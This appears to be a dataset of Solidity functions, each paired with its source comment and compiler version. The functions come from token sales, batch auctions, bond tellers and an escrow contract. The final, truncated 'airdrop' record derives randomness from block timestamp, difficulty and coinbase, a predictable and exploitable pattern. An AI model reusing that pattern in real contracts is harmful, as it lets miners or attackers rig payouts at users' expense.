{"comment": "/**\r\n * @dev Function to issue tokens for investors who paid in ether\r\n * @param _investor address which the tokens will be issued tokens\r\n * @param _lucValue number of LUC tokens\r\n */", "function_code": "function buy(address _investor, uint _lucValue) internal {\r\n require(statusICO == StatusICO.PreIcoStarted || statusICO == StatusICO.IcoStarted);\r\n uint bonus = getBonus(_lucValue);\r\n uint total = _lucValue.add(bonus);\r\n require(soldAmount + _lucValue <= hardCap);\r\n LUC.mintTokens(_investor, total);\r\n soldAmount = soldAmount.add(_lucValue);\r\n }", "version": "0.4.20"} {"comment": "// user can also burn by sending token to address(0), but this function will emit Burned event", "function_code": "function burn(uint256 _amount) public returns (bool) {\r\n require (_amount != 0, \"burn amount should not be zero\");\r\n require(balances[msg.sender] >= _amount);\r\n totalSupply_ = totalSupply_.sub(_amount);\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n emit Burned(msg.sender, _amount);\r\n emit Transfer(msg.sender, address(0), _amount);\r\n _moveDelegates(delegates[msg.sender], address(0), _amount);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Attribution to the awesome delta.financial contracts\n */", "function_code": "function marketParticipationAgreement()\n public\n pure\n returns (string memory)\n {\n return\n \"I understand that I am interacting with a smart contract. I understand that tokens commited are subject to the token issuer and local laws where applicable. I have reviewed the code of this smart contract and understand it fully. I agree to not hold developers or other people associated with the project liable for any losses or misunderstandings\";\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Commit ETH to buy tokens on auction.\n * @param _beneficiary Auction participant ETH address.\n */", "function_code": "function commitEth(\n address payable _beneficiary,\n bool readAndAgreedToMarketParticipationAgreement\n ) public payable {\n require(\n paymentCurrency == ETH_ADDRESS,\n \"BatchAuction: payment currency is not ETH\"\n );\n\n require(msg.value > 0, \"BatchAuction: Value must be higher than 0\");\n if (readAndAgreedToMarketParticipationAgreement == false) {\n revertBecauseUserDidNotProvideAgreement();\n }\n _addCommitment(_beneficiary, msg.value);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Checks if amout not 0 and makes the transfer and adds commitment.\n * @dev Users must approve contract prior to committing tokens to auction.\n * @param _from User ERC20 address.\n * @param _amount Amount of approved ERC20 tokens.\n */", "function_code": "function commitTokensFrom(\n address _from,\n uint256 _amount,\n bool readAndAgreedToMarketParticipationAgreement\n ) public nonReentrant {\n require(\n paymentCurrency != ETH_ADDRESS,\n \"BatchAuction: Payment currency is not a token\"\n );\n if (readAndAgreedToMarketParticipationAgreement == false) {\n revertBecauseUserDidNotProvideAgreement();\n }\n require(_amount > 0, \"BatchAuction: Value must be higher than 0\");\n _safeTransferFrom(paymentCurrency, msg.sender, _amount);\n _addCommitment(_from, _amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Updates commitment for this address and total commitment of the auction.\n * @param _addr Auction participant address.\n * @param _commitment The amount to commit.\n */", "function_code": "function _addCommitment(address _addr, uint256 _commitment) internal {\n require(\n block.timestamp >= marketInfo.startTime &&\n block.timestamp <= marketInfo.endTime,\n \"BatchAuction: outside auction hours\"\n );\n\n uint256 newCommitment = commitments[_addr].add(_commitment);\n commitments[_addr] = newCommitment;\n marketStatus.commitmentsTotal = BoringMath.to128(\n uint256(marketStatus.commitmentsTotal).add(_commitment)\n );\n emit AddedCommitment(_addr, _commitment);\n }", "version": "0.6.12"} {"comment": "///--------------------------------------------------------\n/// Finalize Auction\n///--------------------------------------------------------\n/// @notice Auction finishes successfully above the reserve\n/// @dev Transfer contract funds to initialized wallet.", "function_code": "function finalize() public nonReentrant {\n require(\n hasAdminRole(msg.sender) ||\n wallet == msg.sender ||\n hasSmartContractRole(msg.sender) ||\n finalizeTimeExpired(),\n \"BatchAuction: Sender must be admin\"\n );\n require(\n !marketStatus.finalized,\n \"BatchAuction: Auction has already finalized\"\n );\n require(\n block.timestamp > marketInfo.endTime,\n \"BatchAuction: Auction has not finished yet\"\n );\n if (auctionSuccessful()) {\n /// @dev Successful auction\n /// @dev Transfer contributed tokens to wallet.\n _safeTokenPayment(\n paymentCurrency,\n wallet,\n uint256(marketStatus.commitmentsTotal)\n );\n } else {\n /// @dev Failed auction\n /// @dev Return auction tokens back to wallet.\n _safeTokenPayment(auctionToken, wallet, marketInfo.totalTokens);\n }\n marketStatus.finalized = true;\n startReleaseTime = block.timestamp;\n emit AuctionFinalized();\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Cancel Auction\n * @dev Admin can cancel the auction before it starts\n */", "function_code": "function cancelAuction() public nonReentrant {\n require(hasAdminRole(msg.sender));\n MarketStatus storage status = marketStatus;\n require(!status.finalized, \"Crowdsale: already finalized\");\n require(\n uint256(status.commitmentsTotal) == 0,\n \"Crowdsale: Funds already raised\"\n );\n\n _safeTokenPayment(\n auctionToken,\n wallet,\n uint256(marketInfo.totalTokens)\n );\n\n status.finalized = true;\n emit AuctionCancelled();\n }", "version": "0.6.12"} {"comment": "/// @notice Withdraw your tokens once the Auction has ended.", "function_code": "function withdrawTokens(address payable beneficiary) public nonReentrant {\n if (auctionSuccessful()) {\n require(marketStatus.finalized, \"BatchAuction: not finalized\");\n /// @dev Successful auction! Transfer claimed tokens.\n uint256 tokensToClaim = tokensClaimable(beneficiary);\n require(tokensToClaim > 0, \"BatchAuction: No tokens to claim\");\n _safeTokenPayment(auctionToken, beneficiary, tokensToClaim);\n claimed[beneficiary] = claimed[beneficiary].add(tokensToClaim);\n } else {\n /// @dev Auction did not meet reserve price.\n /// @dev Return committed funds back to user.\n require(\n block.timestamp > marketInfo.endTime,\n \"BatchAuction: Auction has not finished yet\"\n );\n uint256 fundsCommitted = commitments[beneficiary];\n require(fundsCommitted > 0, \"BatchAuction: No funds committed\");\n commitments[beneficiary] = 0; // Stop multiple withdrawals and free some gas\n _safeTokenPayment(paymentCurrency, beneficiary, fundsCommitted);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice How many tokens the user is able to claim.\n * @param _user Auction participant address.\n * @return claimable Tokens left to claim.\n */", "function_code": "function tokensClaimable(address _user)\n public\n view\n returns (uint256)\n {\n if (!marketStatus.finalized) return 0;\n if (commitments[_user] == 0) return 0;\n uint256 unclaimedTokens = IERC20(auctionToken).balanceOf(address(this));\n uint256 claimerCommitment = _getTokenAmount(commitments[_user]);\n\n uint256 remainingToken = getRemainingAmount(_user);\n uint256 claimable = claimerCommitment.sub(remainingToken).sub(claimed[_user]);\n\n if (claimable > unclaimedTokens) {\n claimable = unclaimedTokens;\n }\n return claimable;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Admin can set start and end time through this function.\n * @param _startTime Auction start time.\n * @param _endTime Auction end time.\n */", "function_code": "function setAuctionTime(uint256 _startTime, uint256 _endTime) external {\n require(hasAdminRole(msg.sender));\n require(\n _startTime < 10000000000,\n \"BatchAuction: enter an unix timestamp in seconds, not miliseconds\"\n );\n require(\n _endTime < 10000000000,\n \"BatchAuction: enter an unix timestamp in seconds, not miliseconds\"\n );\n require(\n _startTime >= block.timestamp,\n \"BatchAuction: start time is before current time\"\n );\n require(\n _endTime > _startTime,\n \"BatchAuction: end time must be older than start price\"\n );\n\n require(\n marketStatus.commitmentsTotal == 0,\n \"BatchAuction: auction cannot have already started\"\n );\n\n marketInfo.startTime = BoringMath.to64(_startTime);\n marketInfo.endTime = BoringMath.to64(_endTime);\n\n emit AuctionTimeUpdated(_startTime, _endTime);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Batch transfer both.\r\n */", "function_code": "function batchTransfer(address payable[] memory accounts, uint256 etherValue, uint256 vokenValue) public payable {\r\n uint256 __etherBalance = address(this).balance;\r\n uint256 __vokenAllowance = VOKEN.allowance(msg.sender, address(this));\r\n\r\n require(__etherBalance >= etherValue.mul(accounts.length));\r\n require(__vokenAllowance >= vokenValue.mul(accounts.length));\r\n\r\n for (uint256 i = 0; i < accounts.length; i++) {\r\n accounts[i].transfer(etherValue);\r\n assert(VOKEN.transferFrom(msg.sender, accounts[i], vokenValue));\r\n }\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * @dev Batch transfer Voken.\r\n */", "function_code": "function batchTransferVoken(address[] memory accounts, uint256 vokenValue) public {\r\n uint256 __vokenAllowance = VOKEN.allowance(msg.sender, address(this));\r\n\r\n require(__vokenAllowance >= vokenValue.mul(accounts.length));\r\n\r\n for (uint256 i = 0; i < accounts.length; i++) {\r\n assert(VOKEN.transferFrom(msg.sender, accounts[i], vokenValue));\r\n }\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * @dev Add all pre-minted tokens to the company wallet.\r\n */", "function_code": "function init() external onlyOwner {\r\n require(inGroup[companyWallet] == 0, \"Already init\");\r\n uint256 balance = tokenContract.balanceOf(address(this));\r\n require(balance > 0, \"No pre-minted tokens\");\r\n balances[companyWallet] = balance; //Transfer all pre-minted tokens to company wallet.\r\n _addPremintedWallet(companyWallet, 0); // add company wallet to the company group.\r\n totalSupply = safeAdd(totalSupply, balance);\r\n emit Transfer(address(0), companyWallet, balance);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Initializes the teller.\n * @param name_ The name of the bond token.\n * @param governance_ The address of the [governor](/docs/protocol/governance).\n * @param solace_ The SOLACE token.\n * @param xsolace_ The xSOLACE token.\n * @param pool_ The underwriting pool.\n * @param dao_ The DAO.\n * @param principal_ address The ERC20 token that users deposit.\n * @param bondDepo_ The bond depository.\n */", "function_code": "function initialize(\n string memory name_,\n address governance_,\n address solace_,\n address xsolace_,\n address pool_,\n address dao_,\n address principal_,\n address bondDepo_\n ) external override initializer {\n __Governable_init(governance_);\n string memory symbol = \"SBT\";\n __ERC721Enhanced_init(name_, symbol);\n _setAddresses(solace_, xsolace_, pool_, dao_, principal_, bondDepo_);\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Calculate the amount of **SOLACE** or **xSOLACE** out for an amount of `principal`.\n * @param amountIn Amount of principal to deposit.\n * @param stake True to stake, false to not stake.\n * @return amountOut Amount of **SOLACE** or **xSOLACE** out.\n */", "function_code": "function calculateAmountOut(uint256 amountIn, bool stake) external view override returns (uint256 amountOut) {\n require(termsSet, \"not initialized\");\n // exchange rate\n uint256 bondPrice_ = bondPrice();\n require(bondPrice_ > 0, \"zero price\");\n amountOut = 1 ether * amountIn / bondPrice_; // 1 ether => 1 solace\n // ensure there is remaining capacity for bond\n if (capacityIsPayout) {\n // capacity in payout terms\n require(capacity >= amountOut, \"bond at capacity\");\n } else {\n // capacity in principal terms\n require(capacity >= amountIn, \"bond at capacity\");\n }\n require(amountOut <= maxPayout, \"bond too large\");\n // route solace\n uint256 bondFee = amountOut * bondFeeBps / MAX_BPS;\n if(bondFee > 0) {\n amountOut -= bondFee;\n }\n // optionally stake\n if(stake) {\n amountOut = xsolace.solaceToXSolace(amountOut);\n }\n return amountOut;\n }", "version": "0.8.6"} {"comment": "/**\r\n * @dev Create new wallet in Escrow contract\r\n * @param newWallet The wallet address\r\n * @param groupId The group ID. Wallet with goal can be added only in group 1\r\n * @param value The amount of token transfer from company wallet to created wallet\r\n * @param goal The amount in USD, that investor should receive before splitting liquidity with others members\r\n * @return true when if wallet created.\r\n */", "function_code": "function createWallet(address newWallet, uint256 groupId, uint256 value, uint256 goal) external onlyCompany returns(bool){\r\n require(inGroup[newWallet] == 0, \"Wallet already added\");\r\n if (goal != 0) {\r\n require(groupId == 1, \"Wallet with goal disallowed\");\r\n goals[newWallet] = goal;\r\n }\r\n _addPremintedWallet(newWallet, groupId);\r\n return _transfer(newWallet, value);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Redeem a bond.\n * Bond must be matured.\n * Redeemer must be owner or approved.\n * @param bondID The ID of the bond to redeem.\n */", "function_code": "function redeem(uint256 bondID) external override nonReentrant tokenMustExist(bondID) {\n // checks\n Bond memory bond = bonds[bondID];\n require(_isApprovedOrOwner(msg.sender, bondID), \"!bonder\");\n require(block.timestamp >= bond.maturation, \"bond not yet redeemable\");\n // send payout\n SafeERC20.safeTransfer(IERC20(bond.payoutToken), msg.sender, bond.payoutAmount);\n // delete bond\n _burn(bondID);\n delete bonds[bondID];\n emit RedeemBond(bondID, msg.sender, bond.payoutToken, bond.payoutAmount);\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Calculate the payout in **SOLACE** and update the current price of a bond.\n * @param depositAmount asdf\n * @return amountOut asdf\n */", "function_code": "function _calculatePayout(uint256 depositAmount) internal returns (uint256 amountOut) {\n // calculate this price\n uint256 timeSinceLast = block.timestamp - lastPriceUpdate;\n uint256 price_ = exponentialDecay(nextPrice, timeSinceLast);\n if(price_ < minimumPrice) price_ = minimumPrice;\n require(price_ != 0, \"invalid price\");\n lastPriceUpdate = block.timestamp;\n // calculate amount out\n amountOut = 1 ether * depositAmount / price_; // 1 ether => 1 solace\n // update next price\n nextPrice = price_ + (amountOut * uint256(priceAdjNum) / uint256(priceAdjDenom));\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Sets the bond terms.\n * Can only be called by the current [**governor**](/docs/protocol/governance).\n * @param terms The terms of the bond.\n */", "function_code": "function setTerms(Terms calldata terms) external onlyGovernance {\n require(terms.startPrice > 0, \"invalid price\");\n nextPrice = terms.startPrice;\n minimumPrice = terms.minimumPrice;\n maxPayout = terms.maxPayout;\n require(terms.priceAdjDenom != 0, \"1/0\");\n priceAdjNum = terms.priceAdjNum;\n priceAdjDenom = terms.priceAdjDenom;\n capacity = terms.capacity;\n capacityIsPayout = terms.capacityIsPayout;\n require(terms.startTime <= terms.endTime, \"invalid dates\");\n startTime = terms.startTime;\n endTime = terms.endTime;\n vestingTerm = terms.vestingTerm;\n require(terms.halfLife > 0, \"invalid halflife\");\n halfLife = terms.halfLife;\n termsSet = true;\n lastPriceUpdate = block.timestamp;\n emit TermsSet();\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Sets the addresses to call out.\n * Can only be called by the current [**governor**](/docs/protocol/governance).\n * @param solace_ The SOLACE token.\n * @param xsolace_ The xSOLACE token.\n * @param pool_ The underwriting pool.\n * @param dao_ The DAO.\n * @param principal_ address The ERC20 token that users deposit.\n * @param bondDepo_ The bond depository.\n */", "function_code": "function _setAddresses(\n address solace_,\n address xsolace_,\n address pool_,\n address dao_,\n address principal_,\n address bondDepo_\n ) internal {\n require(solace_ != address(0x0), \"zero address solace\");\n require(xsolace_ != address(0x0), \"zero address xsolace\");\n require(pool_ != address(0x0), \"zero address pool\");\n require(dao_ != address(0x0), \"zero address dao\");\n require(principal_ != address(0x0), \"zero address principal\");\n require(bondDepo_ != address(0x0), \"zero address bond depo\");\n solace = ISOLACE(solace_);\n xsolace = IxSOLACE(xsolace_);\n solace.approve(xsolace_, type(uint256).max);\n underwritingPool = pool_;\n dao = dao_;\n principal = IERC20(principal_);\n bondDepo = IBondDepository(bondDepo_);\n emit AddressesSet();\n }", "version": "0.8.6"} {"comment": "// transfer tokens from one address to another", "function_code": "function transfer(address _to, uint256 _value) returns (bool success)\r\n {\r\n if(_value <= 0) throw; // Check send token value > 0;\r\n if (balances[msg.sender] < _value) throw; // Check if the sender has enough\r\n if (balances[_to] + _value < balances[_to]) throw; // Check for overflows \r\n balances[msg.sender] -= _value; // Subtract from the sender\r\n balances[_to] += _value; // Add the same to the recipient, if it's the contact itself then it signals a sell order of those tokens \r\n Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place\r\n return true; \r\n }", "version": "0.4.8"} {"comment": "/**\r\n * @dev transfer token for a specified address into Escrow contract from restricted group\r\n * @param to The address to transfer to.\r\n * @param value The amount to be transferred.\r\n * @param confirmatory The address of third party who have to confirm this transfer\r\n */", "function_code": "function transferRestricted(address to, uint256 value, address confirmatory) external {\r\n _nonZeroAddress(confirmatory);\r\n require(inGroup[to] != 0, \"Wallet not added\");\r\n require(msg.sender != confirmatory && to != confirmatory, \"Wrong confirmatory address\");\r\n _restrictedOrder(value, address(0), 0, payable(to), confirmatory); // Create restricted order where wantValue = 0.\r\n }", "version": "0.6.12"} {"comment": "// Redeem via BuyBack if allowed", "function_code": "function redemption(address[] calldata path, uint256 value) external {\r\n require(balances[msg.sender] >= value, \"Not enough balance\");\r\n uint256 groupId = _getGroupId(msg.sender);\r\n require(groups[groupId].restriction & BUYBACK > 0, \"BuyBack disallowed\");\r\n balances[msg.sender] = safeSub(balances[msg.sender], value);\r\n tokenContract.approve(address(liquidityContract), value);\r\n totalSupply = safeSub(totalSupply, value);\r\n require(liquidityContract.redemptionFromEscrow(path, value, msg.sender), \"Redemption failed\");\r\n }", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Transfer tokens from one address to another\r\n \t* @param _from The address from which you want to transfer tokens\r\n \t* @param _to The address to which you want to transfer tokens\r\n \t* @param _amount The amount of tokens to be transferred\r\n \t* @param _data The data that is attached to this transaction.\r\n \t* @return returns true on success or throw on failure\r\n \t*/", "function_code": "function _transfer(address _from, address _to, uint256 _amount, bytes _data) internal returns (bool) {\r\n\t\trequire(_to != address(0)\r\n\t\t\t&& _to != address(this)\r\n\t\t\t&& _from != address(0)\r\n\t\t\t&& _from != _to\r\n\t\t\t&& _amount > 0\r\n\t\t\t&& balances[_from] >= _amount\r\n\t\t\t&& balances[_to] + _amount > balances[_to]\r\n\t\t);\r\n\t\tbalances[_from] -= _amount;\r\n\t\tbalances[_to] += _amount;\r\n\t\tuint size;\r\n\t\tassembly {\r\n\t\t\tsize := extcodesize(_to)\r\n\t\t}\r\n\t\tif(size > 0){\r\n\t\t\tTokenReceiver(_to).tokenFallback(msg.sender, _amount, _data);\r\n\t\t}\r\n\t\tTransfer(_from, _to, _amount);\r\n\t\treturn true;\r\n\t}", "version": "0.4.18"} {"comment": "/**\r\n \t* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.\r\n \t* @param _spender The address of the holder who will spend the tokens of the msg.sender.\r\n \t* @param _amount The amount of tokens allow to be spent.\r\n \t* @return returns true on success or throw on failure\r\n \t*/", "function_code": "function approve(address _spender, uint256 _amount) external returns (bool success) {\r\n\t\trequire( _spender != address(0) \r\n\t\t\t&& _spender != msg.sender \r\n\t\t\t&& (_amount == 0 || allowed[msg.sender][_spender] == 0)\r\n\t\t);\r\n\t\tallowed[msg.sender][_spender] = _amount;\r\n\t\tApproval(msg.sender, _spender, _amount);\r\n\t\treturn true;\r\n\t}", "version": "0.4.18"} {"comment": "// Send token to SmartSwap P2P", "function_code": "function samartswapP2P(uint256 value) external {\r\n require(balances[msg.sender] >= value, \"Not enough balance\");\r\n uint256 groupId = _getGroupId(msg.sender);\r\n require(groups[groupId].restriction & SMARTSWAP_P2P > 0, \"SmartSwap P2P disallowed\");\r\n balances[msg.sender] = safeSub(balances[msg.sender], value);\r\n totalSupply = safeSub(totalSupply, value);\r\n tokenContract.approve(address(smartswapContract), value);\r\n smartswapContract.sendTokenFormEscrow(address(tokenContract), value, msg.sender);\r\n }", "version": "0.6.12"} {"comment": "// Sell tokens to other user (inside Escrow contract).", "function_code": "function sellToken(uint256 sellValue, address wantToken, uint256 wantValue, address payable buyer) external {\r\n require(sellValue > 0, \"Zero sell value\");\r\n require(balances[msg.sender] >= sellValue, \"Not enough balance\");\r\n require(inGroup[buyer] != 0, \"Wallet not added\"); \r\n uint256 groupId = _getGroupId(msg.sender);\r\n require(groups[groupId].restriction != 0,\"Group is restricted\");\r\n balances[msg.sender] = safeSub(balances[msg.sender], sellValue);\r\n uint256 orderId = orders.length;\r\n orders.push(Order(msg.sender, buyer, sellValue, wantToken, wantValue, 1, address(0)));\r\n emit SellOrder(msg.sender, buyer, sellValue, wantToken, wantValue, orderId);\r\n }", "version": "0.6.12"} {"comment": "// Sell tokens to other user (inside Escrow contract) from restricted group.", "function_code": "function sellTokenRestricted(uint256 sellValue, address wantToken, uint256 wantValue, address payable buyer, address confirmatory) external {\r\n _nonZeroAddress(confirmatory);\r\n require(inGroup[buyer] != 0, \"Wallet not added\");\r\n require(balances[msg.sender] >= sellValue, \"Not enough balance\");\r\n require(msg.sender != confirmatory && buyer != confirmatory, \"Wrong confirmatory address\");\r\n _restrictedOrder(sellValue, wantToken, wantValue, buyer, confirmatory);\r\n }", "version": "0.6.12"} {"comment": "// confirm restricted order by third-party confirmatory address", "function_code": "function confirmOrder(uint256 orderId) external {\r\n Order storage o = orders[orderId];\r\n require(o.confirmatory == msg.sender, \"Not a confirmatory\");\r\n if (o.wantValue == 0) { // if it's simple transfer, complete it immediately.\r\n balances[o.buyer] = safeAdd(balances[o.buyer], o.sellValue);\r\n o.status = 2; // complete\r\n }\r\n else {\r\n o.status = 1; // remove restriction\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Presale function", "function_code": "function buyPresale() external payable {\r\n require(!isPresaleDone(), \"Presale is already completed\");\r\n require(_presaleTime <= now, \"Presale hasn't started yet\");\r\n require(_presaleParticipation[_msgSender()].add(msg.value) <= Constants.getPresaleIndividualCap(), \"Crossed individual cap\");\r\n require(_presalePrice != 0, \"Presale price is not set\");\r\n require(msg.value >= Constants.getPresaleIndividualMin(), \"Needs to be above min eth!\");\r\n require(!Address.isContract(_msgSender()),\"no contracts\");\r\n require(tx.gasprice <= Constants.getMaxPresaleGas(),\"gas price above limit\");\r\n uint256 amountToDist = msg.value.div(_presalePrice);\r\n require(_presaleDist.add(amountToDist) <= Constants.getPresaleCap(), \"Presale max cap already reached\");\r\n uint256 currentFactor = getFactor();\r\n uint256 largeAmount = amountToDist.mul(currentFactor);\r\n _largeBalances[owner()] = _largeBalances[owner()].sub(largeAmount);\r\n _largeBalances[_msgSender()] = _largeBalances[_msgSender()].add(largeAmount);\r\n emit Transfer(owner(), _msgSender(), amountToDist);\r\n _presaleParticipation[_msgSender()] = _presaleParticipation[_msgSender()].add(msg.value);\r\n _presaleDist = _presaleDist.add(amountToDist);\r\n }", "version": "0.6.12"} {"comment": "// get order info. Status 1 - created, 2 - completed, 3 - canceled.", "function_code": "function getOrder(uint256 orderId) external view returns(\r\n address seller,\r\n address buyer,\r\n uint256 sellValue,\r\n address wantToken,\r\n uint256 wantValue,\r\n uint256 status,\r\n address confirmatory)\r\n {\r\n Order storage o = orders[orderId];\r\n return (o.seller, o.buyer, o.sellValue, o.wantToken, o.wantValue, o.status, o.confirmatory);\r\n }", "version": "0.6.12"} {"comment": "// get the last order ID where msg.sender is buyer or seller.", "function_code": "function getLastAvailableOrder() external view returns(uint256 orderId)\r\n {\r\n uint len = orders.length;\r\n while(len > 0) {\r\n len--;\r\n Order storage o = orders[len];\r\n if (o.status == 1 && (o.seller == msg.sender || o.buyer == msg.sender)) {\r\n return len;\r\n }\r\n }\r\n return 0; // No orders available\r\n }", "version": "0.6.12"} {"comment": "// get the last order ID where msg.sender is confirmatory address.", "function_code": "function getLastOrderToConfirm() external view returns(uint256 orderId) {\r\n uint len = orders.length;\r\n while(len > 0) {\r\n len--;\r\n Order storage o = orders[len];\r\n if (o.status == 4 && o.confirmatory == msg.sender) {\r\n return len;\r\n }\r\n }\r\n return 0;\r\n }", "version": "0.6.12"} {"comment": "// buy selected order (ID). If buy using ERC20 token, the amount should be approved for Escrow contract.", "function_code": "function buyOrder(uint256 orderId) external payable {\r\n require(inGroup[msg.sender] != 0, \"Wallet not added\");\r\n Order storage o = orders[orderId];\r\n require(msg.sender == o.buyer, \"Wrong buyer\");\r\n require(o.status == 1, \"Wrong order status\");\r\n if (o.wantValue > 0) {\r\n if (o.wantToken == address(0)) {\r\n require(msg.value == o.wantValue, \"Wrong value\");\r\n o.seller.transfer(msg.value);\r\n }\r\n else {\r\n require(IERC20Token(o.wantToken).transferFrom(msg.sender, o.seller, o.wantValue), \"Not enough value\");\r\n }\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], o.sellValue);\r\n o.status = 2; // complete\r\n }", "version": "0.6.12"} {"comment": "// Put token on sale on selected channel", "function_code": "function putOnSale(uint256 value, uint256 channelId) external {\r\n require(balances[msg.sender] >= value, \"Not enough balance\");\r\n uint256 groupId = _getGroupId(msg.sender);\r\n require(groups[groupId].restriction & (1 << channelId) > 0, \"Liquidity channel disallowed\");\r\n require(groups[groupId].soldUnpaid[channelId] == 0, \"There is unpaid giveaways\");\r\n balances[msg.sender] = safeSub(balances[msg.sender], value);\r\n totalSupply = safeSub(totalSupply, value);\r\n groups[groupId].addressesOnChannel[channelId].add(msg.sender); // the case that wallet already in list, checks in add function\r\n onSale[msg.sender][channelId] = safeAdd(onSale[msg.sender][channelId], value);\r\n totalOnSale[channelId] = safeAdd(totalOnSale[channelId], value);\r\n groups[groupId].onSale[channelId] = safeAdd(groups[groupId].onSale[channelId], value);\r\n emit PutOnSale(msg.sender, value);\r\n }", "version": "0.6.12"} {"comment": "// Remove token form sale on selected channel if it was not transferred to the Gateway.", "function_code": "function removeFromSale(uint256 value, uint256 channelId) external {\r\n //if amount on sale less then requested, then remove entire amount.\r\n if (onSale[msg.sender][channelId] < value) {\r\n value = onSale[msg.sender][channelId];\r\n }\r\n require(totalOnSale[channelId] >= value, \"Not enough on sale\");\r\n uint groupId = _getGroupId(msg.sender);\r\n require(groups[groupId].soldUnpaid[channelId] == 0, \"There is unpaid giveaways\");\r\n onSale[msg.sender][channelId] = safeSub(onSale[msg.sender][channelId], value);\r\n totalOnSale[channelId] = safeSub(totalOnSale[channelId], value);\r\n balances[msg.sender] = safeAdd(balances[msg.sender], value);\r\n totalSupply = safeAdd(totalSupply, value);\r\n groups[groupId].onSale[channelId] = safeSub(groups[groupId].onSale[channelId], value);\r\n\r\n if (onSale[msg.sender][channelId] == 0) {\r\n groups[groupId].addressesOnChannel[channelId].remove(msg.sender);\r\n }\r\n emit RemoveFromSale(msg.sender, value);\r\n }", "version": "0.6.12"} {"comment": "// Split giveaways in each groups among participants pro-rata their orders amount.\n// May throw with OUT_OF_GAS is there are too many participants.", "function_code": "function splitProrataAll(uint256 channelId, address token) external {\r\n uint256 len = groups.length;\r\n for (uint i = 0; i < len; i++) {\r\n if (i == 1) _splitForGoals(channelId, token, i); // split among Investors with goal \r\n else _splitProrata(channelId, token, i);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Move user from one group to another", "function_code": "function _moveToGroup(address wallet, uint256 toGroup, bool allowUnpaid) internal {\r\n uint256 from = _getGroupId(wallet);\r\n require(from != toGroup, \"Already in this group\");\r\n inGroup[wallet] = toGroup + 1; // change wallet's group id (1-based)\r\n // add to group wallets list\r\n groups[toGroup].wallets.add(wallet);\r\n // delete from previous group\r\n groups[from].wallets.remove(wallet);\r\n // recalculate groups OnSale\r\n // request number of channels from Gateway\r\n uint channels = _getChannelsNumber();\r\n for (uint i = 1; i < channels; i++) { // exclude channel 0. It allow company to wire tokens for Gateway supply\r\n if (onSale[wallet][i] > 0) {\r\n require(groups[from].soldUnpaid[i] == 0 || allowUnpaid, \"There is unpaid giveaways\");\r\n groups[from].onSale[i] = safeSub(groups[from].onSale[i], onSale[wallet][i]);\r\n groups[toGroup].onSale[i] = safeAdd(groups[toGroup].onSale[i], onSale[wallet][i]);\r\n groups[from].addressesOnChannel[i].remove(wallet);\r\n groups[toGroup].addressesOnChannel[i].add(wallet);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev transfer token for a specified address into Escrow contract\r\n * @param to The address to transfer to.\r\n * @param value The amount to be transferred.\r\n */", "function_code": "function _transfer(address to, uint256 value) internal returns (bool) {\r\n _nonZeroAddress(to);\r\n require(balances[msg.sender] >= value, \"Not enough balance\");\r\n balances[msg.sender] = safeSub(balances[msg.sender], value);\r\n balances[to] = safeAdd(balances[to], value);\r\n emit Transfer(msg.sender, to, value);\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "// Create restricted order which require confirmation from third-party confirmatory address. For simple transfer the wantValue = 0.", "function_code": "function _restrictedOrder(uint256 sellValue, address wantToken, uint256 wantValue, address payable buyer, address confirmatory) internal {\r\n require(sellValue > 0, \"Zero sell value\");\r\n balances[msg.sender] = safeSub(balances[msg.sender], sellValue);\r\n uint256 orderId = orders.length;\r\n orders.push(Order(msg.sender, buyer, sellValue, wantToken, wantValue, 4, confirmatory)); //add restricted order\r\n emit RestrictedOrder(msg.sender, buyer, sellValue, wantToken, wantValue, orderId, confirmatory);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Returns the main status.\r\n */", "function_code": "function status() public view returns (uint16 stage,\r\n uint16 season,\r\n uint256 etherUsdPrice,\r\n uint256 vokenUsdPrice,\r\n uint256 shareholdersRatio) {\r\n if (_stage > STAGE_MAX) {\r\n stage = STAGE_MAX;\r\n season = SEASON_MAX;\r\n }\r\n else {\r\n stage = _stage;\r\n season = _season;\r\n }\r\n\r\n etherUsdPrice = _etherUsdPrice;\r\n vokenUsdPrice = _vokenUsdPrice;\r\n shareholdersRatio = _shareholdersRatio;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Returns the sum.\r\n */", "function_code": "function sum() public view returns(uint256 vokenIssued,\r\n uint256 vokenBonus,\r\n uint256 weiSold,\r\n uint256 weiRewarded,\r\n uint256 weiShareholders,\r\n uint256 weiTeam,\r\n uint256 weiPended) {\r\n vokenIssued = _vokenIssued;\r\n vokenBonus = _vokenBonus;\r\n\r\n weiSold = _weiSold;\r\n weiRewarded = _weiRewarded;\r\n weiShareholders = _weiShareholders;\r\n weiTeam = _weiTeam;\r\n weiPended = _weiPended;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev generates a random number between 0-99 and checks to see if thats\r\n * resulted in an airdrop win\r\n * @return do we have a winner?\r\n */", "function_code": "function airdrop()\r\n private\r\n view\r\n returns(bool)\r\n {\r\n uint256 seed = uint256(keccak256(abi.encodePacked(\r\n\r\n (block.timestamp).add\r\n (block.difficulty).add\r\n ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add\r\n 